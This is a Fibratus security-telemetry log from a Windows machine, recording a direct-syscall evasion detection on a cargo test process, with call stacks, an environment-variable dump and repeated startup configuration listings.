C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff6807efe76 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807eb9d6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 905961 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1872477 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ee4000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff680bd006d C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680bd061d C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680d50b42 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680bd1752 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680d50b42 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680bd1752 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680d50b42 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680bd1752 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680d3368f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680d4f24a C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680bf6ecc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680bc5447 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680d0d826 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680d4db2a C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680bef2b3 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6811115f9 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff68102d028 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680e3895f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6812f7aac C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6812f8ad9 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_path|0x7ff680f3662b C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680f3e752 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680f299f0 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681068fbe C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff3be3 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff2e70 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff7ab4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ffef5b C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680fcd9d4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680838ecf C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff6807efe76 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807eb9d6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T19:13:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:13:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:27:50+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:27:50+01:00 level=info msg=bootstrapping with pid 10504. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:27:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-audit-api=>true enable-fileio=>true flush-interval=>1s enable-net=>true enable-threadpool=>false stack-enrichment=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-thread=>true max-buffers=>36 min-buffers=>16 enable-registry=>true buffer-size=>512 enable-image=>true enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ http=>[ method=>POST timeout=>5s endpoints=>[] serializer=>json enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ bulk-workers=>1 servers=>[http://127.0.0.1:9200] flush-period=>1s gzip-compression=>false healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false sniff=>false index-name=>fibratus timeout=>5s template-name=>fibratus healthcheck=>true enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false durable=>false exchange=>fibratus url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ timeout=>5s enabled=>false passive=>false delivery-mode=>transient]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] skip-mmaps=>false skip-files=>false skip-allocs=>false skip-registry=>false fastscan=>true scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:27:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:27:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:28:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T19:28:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:28:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:28:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:28:18+01:00 level=info msg=bootstrapping with pid 17252. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:28:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false port=>25 content-type=>text/html use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-threadpool=>false enable-vamap=>true enable-thread=>true enable-net=>true enable-mem=>true stack-enrichment=>true enable-image=>true buffer-size=>512 enable-registry=>true flush-interval=>1s enable-fileio=>true enable-dns=>false enable-audit-api=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false serializer=>json enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s] elasticsearch=>[ gzip-compression=>false healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s template-name=>fibratus trace-log=>false enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s timeout=>5s sniff=>false] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ enabled=>false durable=>false passive=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true skip-files=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:28:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:28:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:30:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T19:30:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:30:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:30:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:30:56+01:00 level=info msg=bootstrapping with pid 13204. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:30:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-handle=>false max-buffers=>36 enable-threadpool=>false enable-dns=>false buffer-size=>512 stack-enrichment=>true enable-mem=>true flush-interval=>1s enable-audit-api=>true enable-image=>true enable-vamap=>true min-buffers=>16 enable-thread=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-backups=>15 max-size=>100 level=>info] + output ......................... [ amqp=>[ vhost=>/ enabled=>false exchange-type=>topic exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 durable=>false passive=>false routing-key=>fibratus] http=>[ enable-gzip=>false enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s bulk-workers=>1 healthcheck-interval=>10s healthcheck=>true enabled=>false gzip-compression=>false flush-period=>1s template-name=>fibratus sniff=>false trace-log=>false index-name=>fibratus]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] 